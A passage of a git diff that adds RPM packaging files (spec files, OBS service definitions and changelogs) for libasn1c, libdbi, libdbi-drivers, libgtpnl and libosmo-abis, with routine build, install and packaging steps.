+This subpackage contains libraries and header files for developing
+applications that want to make use of libasn1c.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure --disable-static
+make %{?_smp_mflags}
+
+%install
+%make_install
+find "%buildroot/%_libdir" -type f -name "*.la" -delete
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%post -n libasn1c1 -p /sbin/ldconfig
+%postun -n libasn1c1 -p /sbin/ldconfig
+
+%files -n libasn1c1
+%defattr(-,root,root)
+%_libdir/libasn1c.so.1*
+
+%files -n libasn1c-devel
+%defattr(-,root,root)
+%doc COPYING
+%_includedir/asn1c/
+%_libdir/pkgconfig/*.pc
+%_libdir/libasn1c.so
+
+%changelog
diff --git a/rpm-local/spec/libdbi-drivers/_service b/rpm-local/spec/libdbi-drivers/_service
new file mode 100644
index 0000000..206298f
--- /dev/null
+++ b/rpm-local/spec/libdbi-drivers/_service
@@ -0,0 +1,14 @@
+<services>
+ <service name="tar_scm" mode="localonly">
+ <param name="scm">git</param>
+ <param name="url">git://git.code.sf.net/p/libdbi-drivers/libdbi-drivers</param>
+ <param name="revision">master</param>
+ <param name="parent-tag">libdbi-drivers-0.9.0</param>
+ <param name="versionformat">0.9.0.g@TAG_OFFSET@</param>
+ </service>
+ <service name="recompress" mode="localonly">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="localonly"/>
+</services>
diff --git a/rpm-local/spec/libdbi-drivers/configure.ac.patch b/rpm-local/spec/libdbi-drivers/configure.ac.patch
new file mode 100644
index 0000000..7f9eb7c
--- /dev/null
+++ b/rpm-local/spec/libdbi-drivers/configure.ac.patch
@@ -0,0 +1,11 @@
+--- libdbi-drivers/configure.ac.orig 2016-02-04 10:12:56.049468401 +0100
++++ libdbi-drivers/configure.ac 2016-02-04 10:13:10.336666283 +0100
+@@ -3,7 +3,7 @@
+ AC_CONFIG_SRCDIR([drivers/sqlite/dbd_sqlite.c])
+ AM_MAINTAINER_MODE
+
+-AM_INIT_AUTOMAKE([foreign dist-zip subdir-objects serial-tests])
++AM_INIT_AUTOMAKE([foreign dist-zip subdir-objects])
+ AM_CONFIG_HEADER(config.h)
+ AC_LIBTOOL_WIN32_DLL
+ AC_CONFIG_MACRO_DIR([m4])
diff --git a/rpm-local/spec/libdbi-drivers/libdbi-drivers.changes b/rpm-local/spec/libdbi-drivers/libdbi-drivers.changes
new file mode 100644
index 0000000..d0fee07
--- /dev/null
+++ b/rpm-local/spec/libdbi-drivers/libdbi-drivers.changes
@@ -0,0 +1,109 @@
+-------------------------------------------------------------------
+Thu Mar 15 21:22:41 UTC 2018 - mardnh@gmx.de
+
+- Don't build with support for sqlite or freetds
+
+-------------------------------------------------------------------
+Fri Jan 27 09:07:26 UTC 2017 - jengelh@inai.de
+
+- Update to new git snapshot 0.9.0.g53
+* Resolve build error with freetds 1.0
+
+-------------------------------------------------------------------
+Thu Feb 4 10:19:16 UTC 2016 - christof.hanke@rzg.mpg.de
+
+- allow building on SLES11-SP3 by removing freetds dependency
+ and unknown configure option "serial-tests" for SLES11;
+ add configure.ac.patch
+
+-------------------------------------------------------------------
+Tue Nov 11 13:53:28 UTC 2014 - jengelh@inai.de
+
+- Update to new git snapshot 0.9.0+git51
+* Fixed an out-of-bounds access in dbd_mysql due to bad type
+ punning. [boo#904873]
+
+-------------------------------------------------------------------
+Mon Jul 7 11:17:31 UTC 2014 - jengelh@inai.de
+
+- Update to new git snapshot 0.9.0+git46
+* Support automatic reconnect under MySQL
+* Support character set retention across autoreconnect cycles
+* Have drivers use the new DBI_TYPE_XDECIMAL type
+- Enable building FreeTDS plugin
+
+-------------------------------------------------------------------
+Thu May 8 21:15:16 UTC 2014 - jengelh@inai.de
+
+- Update to new git snapshot 0.9.0+git42
+* dbd_mysql, dbd_msql: avoid NULL dereference
+
+-------------------------------------------------------------------
+Thu Apr 17 14:57:46 UTC 2014 - jengelh@inai.de
+
+- Update to new git snapshot 0.9.0+git40
+* Support the new datetimex API from libdbi-0.9.0+git21
+* dbd_sqlite3: resolve a stack buffer overflow
+- Remove sqlite3.diff, badcode.diff, libdl.diff: merged upstream
+
+-------------------------------------------------------------------
+Thu Feb 6 11:50:13 UTC 2014 - fcrozat@suse.com
+
+- Add COPYING to generated package.
+
+-------------------------------------------------------------------
+Wed Sep 11 13:07:00 UTC 2013 - jengelh@inai.de
+
+- Added libdl.diff (successfully link testsuite) and run testsuite
+ as far as possible
+
+-------------------------------------------------------------------
+Wed Sep 11 09:18:56 UTC 2013 - tchvatal@suse.com
+
+- Remove tests code to have this not fail on rpm checks.
+- Do not put __DATE__ into resulting binaries to avoid needless
+ rebuilds.
+
+-------------------------------------------------------------------
+Sun Sep 8 13:11:41 UTC 2013 - jengelh@inai.de
+
+- Update to new upstream release 0.9.0
+* the pgsql driver now supports features specific to PostgreSQL 9
+ and later
+* drivers now support transactions and savepoints if the underlying
+ database engines do
+- Added badcode.diff, sqlite3.diff to resolve build failures
+
+-------------------------------------------------------------------
+Thu Sep 27 09:38:04 UTC 2012 - idonmez@suse.com
+
+- Fix libdbi dependencies
+
+-------------------------------------------------------------------
+Wed Feb 1 01:54:59 UTC 2012 - jengelh@medozas.de
+
+- Remove redundant tags/sections per specfile guideline suggestions
+- Parallel building using %_smp_mflags
+
+-------------------------------------------------------------------
+Thu Jan 12 11:30:42 UTC 2012 - coolo@suse.com
+
+- change license to be in spdx.org format
+
+-------------------------------------------------------------------
+Tue Feb 22 08:57:42 UTC 2011 - coolo@novell.com
+
+- remove explicit (and wrong) libmysql require
+
+-------------------------------------------------------------------
+Wed Dec 15 16:17:10 CET 2010 - meissner@suse.de
+
+- spec file cleanup
+- disabled static driver libs
+- pass in RPM_OPT_FLAGS
+
+-------------------------------------------------------------------
+Wed Dec 15 16:05:55 CET 2010 - meissner@suse.de
+
+- split off from libdbi
+
diff --git a/rpm-local/spec/libdbi-drivers/libdbi-drivers.spec b/rpm-local/spec/libdbi-drivers/libdbi-drivers.spec
new file mode 100644
index 0000000..39b4c7f
--- /dev/null
+++ b/rpm-local/spec/libdbi-drivers/libdbi-drivers.spec
@@ -0,0 +1,163 @@
+#
+# spec file for package libdbi-drivers
+#
+# Copyright (c) 2014 SUSE LINUX Products GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define build_freetds 0
+
+Name: libdbi-drivers
+Version: 0.9.0.g55
+Release: 0
+Summary: Database drivers for libdbi
+License: LGPL-2.1+
+Group: Productivity/Databases/Servers
+URL: http://libdbi-drivers.sf.net/
+
+#Source: http://downloads.sf.net/libdbi-drivers/%name-%version.tar.gz
+Source: %name-%version.tar.xz
+Patch1: configure.ac.patch
+BuildRoot: %{_tmppath}/%{name}-%{version}-build
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: gettext
+%if %build_freetds
+BuildRequires: freetds-devel
+%endif
+BuildRequires: libdbi-devel >= 0.9.0.g30
+BuildRequires: libtool
+BuildRequires: mysql-devel
+BuildRequires: openjade
+BuildRequires: postgresql-devel
+BuildRequires: sqlite3-devel
+BuildRequires: xz
+%define build_doc 0
+%if %build_doc
+# Only needed when doc is not already prebuilt
+BuildRequires: docbook-dsssl-stylesheets
+BuildRequires: openjade
+BuildRequires: texlive-collection-fontsrecommended
+BuildRequires: texlive-jadetex
+BuildRequires: texlive-pdftex-bin
+%endif
+
+%description
+libdbi implements a database-independent abstraction layer in C,
+similar to the DBI/DBD layer in Perl. Drivers are distributed
+separately from the library itself.
+
+%if %build_freetds
+%package dbd-freetds
+Summary: FreeTDS driver for libdbi
+Group: System/Libraries
+
+%description dbd-freetds
+This driver provides connectivity to FreeTDS database servers
+through the libdbi database independent abstraction layer. Switching
+a program's driver does not require recompilation or rewriting source
+code.
+%endif
+
+%package dbd-mysql
+Summary: MySQL driver for libdbi
+Group: System/Libraries
+
+%description dbd-mysql
+This driver provides connectivity to MySQL database servers through
+the libdbi database independent abstraction layer. Switching a
+program's driver does not require recompilation or rewriting source
+code.
+
+%package dbd-pgsql
+Summary: PostgreSQL driver for libdbi
+Group: System/Libraries
+
+%description dbd-pgsql
+This driver provides connectivity to PostgreSQL database servers
+through the libdbi database independent abstraction layer. Switching
+a program's driver does not require recompilation or rewriting source
+code.
+
+%package dbd-sqlite3
+Summary: SQLite3 driver for libdbi
+Group: System/Libraries
+
+%description dbd-sqlite3
+This driver provides connectivity to SQLite 3.x database servers through the
+libdbi database independent abstraction layer. Switching a program's driver
+does not require recompilation or rewriting source code.
+
+%prep
+%setup -q
+%if 0%{?suse_version} == 1110
+%patch -P 1 -p1
+%endif
+chmod a-x COPYING
+
+# Fake the __DATE__ so we do not needelessly rebuild
+FAKE_BUILDDATE=$(LC_ALL=C date -u -r %_sourcedir/%name.changes '+%%b %%e %%Y')
+sed -i "s/__DATE__/\"$FAKE_BUILDDATE\"/" drivers/*/*.c
+
+%build
+if [ ! -e configure ]; then
+ autoreconf -fi
+fi
+export CFLAGS="%optflags -O0 -ggdb3"
+%configure \
+%if %build_freetds
+ --with-freetds \
+%endif
+ --with-mysql \
+ --with-pgsql \
+ --with-sqlite3 \
+ --with-dbi-incdir="%_includedir/dbi" \
+ --with-dbi-libdir="%_libdir" \
+ --disable-static \
+ --docdir="%_docdir/%name" --disable-docs
+make %{?_smp_mflags}
+
+%install
+make install DESTDIR="%buildroot"
+find "%buildroot" -type f -name "*.la" -delete
+
+%check
+make check || :
+
+%if %build_freetds
+%files dbd-freetds
+%defattr(-,root,root)
+%doc COPYING
+%dir %_libdir/dbd
+%_libdir/dbd/libdbdfreetds.so
+%endif
+
+%files dbd-mysql
+%defattr(-,root,root)
+%doc COPYING
+%dir %_libdir/dbd
+%_libdir/dbd/libdbdmysql.so
+
+%files dbd-pgsql
+%defattr(-,root,root)
+%doc COPYING
+%dir %_libdir/dbd
+%_libdir/dbd/libdbdpgsql.so
+
+%files dbd-sqlite3
+%defattr(-,root,root)
+%doc COPYING
+%dir %_libdir/dbd
+%_libdir/dbd/libdbdsqlite3.so
+
+%changelog
diff --git a/rpm-local/spec/libdbi/baselibs.conf b/rpm-local/spec/libdbi/baselibs.conf
new file mode 100644
index 0000000..5fe9cea
--- /dev/null
+++ b/rpm-local/spec/libdbi/baselibs.conf
@@ -0,0 +1,4 @@
+libdbi3
+libdbi-devel
+ requires -libdbi-<targettype>
+ requires "libdbi3-<targettype> = <version>"
diff --git a/rpm-local/spec/libdbi/libdbi.changes b/rpm-local/spec/libdbi/libdbi.changes
new file mode 100644
index 0000000..f16d358
--- /dev/null
+++ b/rpm-local/spec/libdbi/libdbi.changes
@@ -0,0 +1,83 @@
+-------------------------------------------------------------------
+Tue Dec 29 17:25:50 UTC 2015 - lars@linux-schulserver.de
+
+- disable building of documentation on old distributions
+
+-------------------------------------------------------------------
+Tue Nov 11 13:37:08 UTC 2014 - jengelh@inai.de
+
+- Update to git snapshot 0.9.0+git33
+* Fix crash when calling dbi_conn_close() on a valid object with
+ a closed connection (e.g. when login failed). [boo#904873]
+
+-------------------------------------------------------------------
+Wed Aug 27 10:34:10 UTC 2014 - jengelh@inai.de
+
+- Update to git snapshot 0.9.0+git32
+* dbi: an unintialized variable (rightfully flagged by valgrind)
+ was fixed
+
+-------------------------------------------------------------------
+Mon Jun 30 19:17:12 UTC 2014 - jengelh@inai.de
+
+- Update to git snapshot 0.9.0+git30
+* dbi: make a distinction between SQL strings and decimals
+ (add new type DBI_TYPE_XDECIMAL)
+
+-------------------------------------------------------------------
+Thu May 8 21:12:16 UTC 2014 - jengelh@inai.de
+
+- Update to git snapshot 0.9.0+git27
+* dbi: resolve bogus seeking into dbd
+
+-------------------------------------------------------------------
+Thu Apr 17 14:55:28 UTC 2014 - jengelh@inai.de
+
+- Update to git snapshot 0.9.0+git23
+* api: offer DATETIME fields also as a "struct tm"
+
+-------------------------------------------------------------------
+Tue Sep 3 13:53:28 UTC 2013 - jengelh@inai.de
+
+- Update to new upstream release 0.9.0
+* libdbi now supports multiple independent "instances", which
+ permit programs to use several dlopen()ed modules which are
+ linked against libdbi. Support for transactions and savepoints
+ has been added, and drivers now receive additional hints to
+ optimize sequential reads from result sets.
+- Wrap description at 70 cols
+
+-------------------------------------------------------------------
+Mon Sep 24 21:22:26 UTC 2012 - andreas.stieger@gmx.de
+
+- update to 0.8.4, soname libdbi1
+- now using automake 1.10.1
+
+-------------------------------------------------------------------
+Thu Dec 15 20:54:59 UTC 2011 - jengelh@medozas.de
+
+- Remove redundant/unwanted tags/section (cf. specfile guidelines)
+- Use %_smp_mflags for parallel building
+
+-------------------------------------------------------------------
+Tue Dec 13 13:32:14 UTC 2011 - idonmez@suse.com
+
+- Optimization level 20 doesn't really exist, fix it to -O3
+- Fix license to be LGPL-2.1+
+
+-------------------------------------------------------------------
+Fri Sep 16 17:28:14 UTC 2011 - jengelh@medozas.de
+
+- Add baselibs configuration
+
+-------------------------------------------------------------------
+Wed Dec 15 16:19:01 CET 2010 - meissner@suse.de
+
+- cleanup, use RPM_OPT_FLAGS, --disable-static, no .la files
+
+-------------------------------------------------------------------
+Wed Dec 15 16:08:27 CET 2010 - meissner@suse.de
+
+- initial import if libdbi, a database-independent abstraction layer in C,
+ similar to the DBI/DBD layer in Perl.
+
diff --git a/rpm-local/spec/libdbi/libdbi.spec b/rpm-local/spec/libdbi/libdbi.spec
new file mode 100644
index 0000000..397f390
--- /dev/null
+++ b/rpm-local/spec/libdbi/libdbi.spec
@@ -0,0 +1,113 @@
+#
+# spec file for package libdbi
+#
+# Copyright (c) 2014 SUSE LINUX Products GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: libdbi
+%define lname libdbi3
+Version: 0.9.0.g33
+#Snapshot: libdbi-0.9.0-33-gcdc4479
+Release: 0
+Summary: Database Independent Abstraction Layer for C
+License: LGPL-2.1+
+Group: Development/Libraries/C and C++
+URL: http://libdbi.sf.net/
+
+#Git-Clone: git://git.code.sf.net/p/libdbi/libdbi
+#Source: http://downloads.sf.net/libdbi/%name-%version.tar.gz
+Source: %name-%version.tar.xz
+Source2: baselibs.conf
+BuildRoot: %_tmppath/%name-%version-build
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: xz
+%if 0%{?suse_version} >= 1130
+# SLE_11 does not have texlive-collection-fontsrecommended
+%define build_doc 1
+%else
+%define build_doc 0
+%endif
+%if %build_doc
+# Only needed when doc is not already prebuilt
+BuildRequires: docbook-dsssl-stylesheets
+BuildRequires: openjade
+BuildRequires: texlive-collection-fontsrecommended
+BuildRequires: texlive-jadetex
+BuildRequires: texlive-pdftex-bin
+%endif
+
+%description
+libdbi implements a database-independent abstraction layer in C,
+similar to the DBI/DBD layer in Perl. Writing one generic set of
+code, programmers can leverage the power of multiple databases and
+multiple simultaneous database connections by using this framework.
+
+%package -n %lname
+Summary: Database Independent Abstraction Layer for C
+Group: System/Libraries
+
+%description -n %lname
+libdbi implements a database-independent abstraction layer in C,
+similar to the DBI/DBD layer in Perl. Writing one generic set of
+code, programmers can leverage the power of multiple databases and
+multiple simultaneous database connections by using this framework.
+
+%package devel
+Summary: Development files for libdbi (Database Independent Abstraction Layer for C)
+Group: Development/Libraries/C and C++
+Requires: %lname = %version
+
+%description devel
+The libdbi-devel package contains the header files and documentation
+needed to develop applications with libdbi.
+
+%prep
+%setup -qn %name
+
+%build
+autoreconf -fi
+sed -i s,\-O20,\-O2,g configure
+%configure \
+%if !%build_doc
+ --disable-docs \
+%endif
+ --disable-static --docdir="%_docdir/%name"
+make %{?_smp_mflags}
+
+%install
+make install DESTDIR="%buildroot"
+rm README.win32 "%buildroot/%_libdir/libdbi.la"
+
+%post -n %lname -p /sbin/ldconfig
+%postun -n %lname -p /sbin/ldconfig
+
+%files -n %lname
+%defattr(-,root,root)
+%doc AUTHORS ChangeLog COPYING README*
+%_libdir/libdbi.so.3*
+
+%files devel
+%defattr(-,root,root)
+%_includedir/dbi/
+%_libdir/libdbi.so
+%_libdir/pkgconfig/dbi.pc
+%if %build_doc
+%_docdir/%name/
+%endif
+
+%changelog
diff --git a/rpm-local/spec/libgtpnl/_service b/rpm-local/spec/libgtpnl/_service
new file mode 100644
index 0000000..567a958
--- /dev/null
+++ b/rpm-local/spec/libgtpnl/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/libgtpnl</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/libgtpnl/_servicedata b/rpm-local/spec/libgtpnl/_servicedata
new file mode 100644
index 0000000..1ef57d9
--- /dev/null
+++ b/rpm-local/spec/libgtpnl/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/libgtpnl</param>
+ <param name="changesrevision">fd3e98d334fc04ffbb20aca0513f156041c046e4</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/libgtpnl/libgtpnl.changes b/rpm-local/spec/libgtpnl/libgtpnl.changes
new file mode 100644
index 0000000..962c5ec
--- /dev/null
+++ b/rpm-local/spec/libgtpnl/libgtpnl.changes
@@ -0,0 +1,76 @@
+-------------------------------------------------------------------
+Thu Aug 08 21:54:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.1.0:
+ * Bump version: 1.2.0.2-d160-dirty → 1.2.1
+ * debian: Adapt package name to lib's current major version
+
+-------------------------------------------------------------------
+Thu Jul 11 20:01:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.2:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Mon Sep 17 20:00:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.1:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Thu May 03 20:00:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.0:
+ * configure.ac: Depend on osmo-release.mk
+ * debian/changelog: Set latest release as unstable
+ * configure.ac: Use git-version-gen to set VERSION
+ * Bump version: 1.1.0.5-b1ad-dirty → 1.2.0
+
+-------------------------------------------------------------------
+Thu Apr 26 20:00:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.2:
+ * Fix CTRL_ATTR_FAMILY_ID attribute size
+
+-------------------------------------------------------------------
+Wed Mar 14 21:24:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.1:
+ * Provide declaration for struct in_addr
+ * Add Debian packaging information
+ * Add genl_socket_close() function
+ * Add contrib/jenkins.sh for jenkins build verification
+ * Add '--enable-sanitize' from other osmocom projects
+ * gtp_build_payload(): Support absent peer and SGSN address
+ * Use release helper from libosmocore
+ * add 'm4' subdirectory to .gitignore
+ * Tag/Release v1.1.0
+ * Makefile: Build gtp-{link,tunnel} by default, but don't install them
+
+-------------------------------------------------------------------
+Sat Feb 10 19:56:23 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Wed Jan 24 12:49:43 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.1.0.0
+
+-------------------------------------------------------------------
+Thu Dec 28 00:37:51 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream release 1.1.0
+ * gtp: fix missing initialization of netns file descriptor
+ * tools,gtp-genl: gtp-tunnel: fix wrong MS address
+ * tools: gtp-tunnel: restore option parsing
+ * tools: gtp-link: allow to delete links
+ * tools: gtp-link: bind to GTP UDP sockets
+ * Fix look-up of GTP tunnel by TEI
+ * Add support for SGSN role via IFLA_GTP_ROLE
+ * Add support for SGSN role via IFLA_GTP_ROLE
+
+-------------------------------------------------------------------
+Sat Apr 29 00:26:35 UTC 2017 - jengelh@inai.de
+
+- Initial package (version 1.0.1.7) for build.opensuse.org
diff --git a/rpm-local/spec/libgtpnl/libgtpnl.spec b/rpm-local/spec/libgtpnl/libgtpnl.spec
new file mode 100644
index 0000000..e067596
--- /dev/null
+++ b/rpm-local/spec/libgtpnl/libgtpnl.spec
@@ -0,0 +1,86 @@
+#
+# spec file for package libgtpnl
+#
+# Copyright (c) 2018 SUSE LINUX GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: libgtpnl
+Version: 1.2.1.0
+Release: 0
+Summary: GPRS tunnel configuration library
+License: GPL-2.0-or-later AND LGPL-2.1-or-later
+Group: Development/Libraries/C and C++
+URL: https://osmocom.org/projects/linux-kernel-gtp-u/wiki
+Source: %{name}-%{version}.tar.xz
+BuildRequires: libtool >= 2
+BuildRequires: pkgconfig
+BuildRequires: xz
+BuildRequires: pkgconfig(libmnl) >= 1.0.0
+
+%description
+libgtpnl wraps the genetlink-based GPRS tunnel configuration of the
+Linux kernel into a C API.
+
+%package -n libgtpnl0
+Summary: GPRS tunnel configuration library
+License: LGPL-2.1-or-later
+Group: System/Libraries
+
+%description -n libgtpnl0
+libgtpnl wraps the genetlink-based GPRS tunnel configuration of the
+Linux kernel into a C API.
+
+%package devel
+Summary: Development files for the GPRS tunnel config library
+License: GPL-2.0-or-later AND LGPL-2.1-or-later
+Group: Development/Libraries/C and C++
+Requires: libgtpnl0 = %{version}
+
+%description devel
+libgtpnl wraps the genetlink-based GPRS tunnel configuration of the
+Linux kernel into a C API.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libgtpnl.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure --includedir="%{_includedir}/%{name}"
+make %{?_smp_mflags}
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%post -n libgtpnl0 -p /sbin/ldconfig
+%postun -n libgtpnl0 -p /sbin/ldconfig
+
+%files -n libgtpnl0
+%{_libdir}/libgtpnl.so.0*
+
+%files devel
+%license COPYING
+%{_includedir}/libgtpnl/
+%{_libdir}/libgtpnl.so
+%{_libdir}/pkgconfig/*.pc
+
+%changelog
diff --git a/rpm-local/spec/libosmo-abis/_service b/rpm-local/spec/libosmo-abis/_service
new file mode 100644
index 0000000..c7ce199
--- /dev/null
+++ b/rpm-local/spec/libosmo-abis/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/libosmo-abis</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/libosmo-abis/_servicedata b/rpm-local/spec/libosmo-abis/_servicedata
new file mode 100644
index 0000000..92360bf
--- /dev/null
+++ b/rpm-local/spec/libosmo-abis/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/libosmo-abis</param>
+ <param name="changesrevision">73a73c0381beebef3e2a7d88fd612383dfb2bf44</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/libosmo-abis/libosmo-abis.changes b/rpm-local/spec/libosmo-abis/libosmo-abis.changes
new file mode 100644
index 0000000..b733a1a
--- /dev/null
+++ b/rpm-local/spec/libosmo-abis/libosmo-abis.changes
@@ -0,0 +1,447 @@
+-------------------------------------------------------------------
+Tue Apr 14 20:00:30 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.19:
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Mon Mar 09 21:00:24 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.18:
+ * ortp: disable SO_REUSEADDR + SO_REUSEPORT
+ * Add rtp_test to show the double-bind bug of OS#4444
+
+-------------------------------------------------------------------
+Sat Mar 07 21:00:24 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.16:
+ * osmo_ortp: add osmo_rtp_socket_set_dscp()
+
+-------------------------------------------------------------------
+Wed Jan 29 21:00:21 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.15:
+ * add ipa ping/pong keepalive for OML/RSL links between bts and bsc
+
+-------------------------------------------------------------------
+Wed Jan 22 21:02:47 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.14:
+ * ipaccess.c: line_already_initialized: int -> bool
+
+-------------------------------------------------------------------
+Sun Jan 12 21:01:28 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.13:
+ * e1d: Implement varions non-LAPD timeslot modes
+ * e1d: Don't connect to e1d at program start time
+ * e1d: Use LOGPIL/LOGPITS logging macros to give context
+ * e1d: Use line->port_nr to specify e1d interface/line
+ * e1d: Remove bogus vty_show function.
+ * e1d: Remove EXCEPTFD handling
+ * e1d: Don't use perror() directly, use osmocom logging instead
+ * e1d: add missing forward-declaration of e1inp_e1d_init()
+ * e1d: Use HAVE_E1D in C source, not ENABLE_E1D
+ * e1d: Initial osmo-e1d support
+ * introduce and use logging macros with context on E1 line / timeslot
+ * dahdi: Don't use perror() directly, use osmocom logging instead
+
+-------------------------------------------------------------------
+Wed Jan 08 21:00:45 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.1:
+ * add/clean big-endian packed structs (struct_endianess.py)
+
+-------------------------------------------------------------------
+Fri Jan 03 21:00:54 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.0:
+ * Bump version: 0.7.0.8-4c2c-dirty → 0.8.0
+
+-------------------------------------------------------------------
+Wed Jan 01 21:00:46 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.8:
+ * input/ipa_keepalive.c: make sure IPA keepalive FSM is registered
+
+-------------------------------------------------------------------
+Tue Dec 03 21:00:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.7:
+ * Enable DAHDI support by default; require --disable-dahdi otherwise
+
+-------------------------------------------------------------------
+Sun Dec 01 21:00:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.6:
+ * e1_input.c: make reference counting get() / put() more verbose
+ * input/ipaccess.c: fix debug message on receipt of IPAC_MSGT_ID_GET
+ * input/ipaccess.c: propagate errors from ipa_parse_unitid()
+
+-------------------------------------------------------------------
+Fri Nov 15 21:01:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.3:
+ * dahdi: Use ioctl(DAHDI_SPECIFY) instead of legacy /dev/dahdi/%u
+
+-------------------------------------------------------------------
+Tue Nov 12 21:01:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.2:
+ * ipa: Allow setting local addr and port for struct ipa_client_conn
+
+-------------------------------------------------------------------
+Mon Sep 16 20:00:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.1:
+ * ipa: ipa_server_link_close() add checks of link state
+
+-------------------------------------------------------------------
+Sun Jul 21 20:00:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.0:
+ * Bump version: 0.6.0.13-b4a7 → 0.7.0
+ * extend the ipa keepalive fsm
+ * ipaccess.c: Avoid calling close(-1) on error path
+
+-------------------------------------------------------------------
+Wed Jul 17 19:01:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.12:
+ * spelling
+
+-------------------------------------------------------------------
+Thu Jul 11 20:00:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.11:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Fri Jun 21 20:00:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.10:
+ * add TCP_USER_TIMEOUT to keepalive
+ * ipaccess: allow tcp keepalive for ipa clients
+
+-------------------------------------------------------------------
+Thu Apr 11 20:00:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.8:
+ * ipa_keepalive_fsm: Suppress error messages for INIT -> INIT transition
+ * ipa_keepalive_fsm: Fix OSMO_IPA_KA_E_STOP allstate event
+
+-------------------------------------------------------------------
+Mon Apr 01 14:15:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.6:
+ * Add IPA keep-alive FSM implementation
+
+-------------------------------------------------------------------
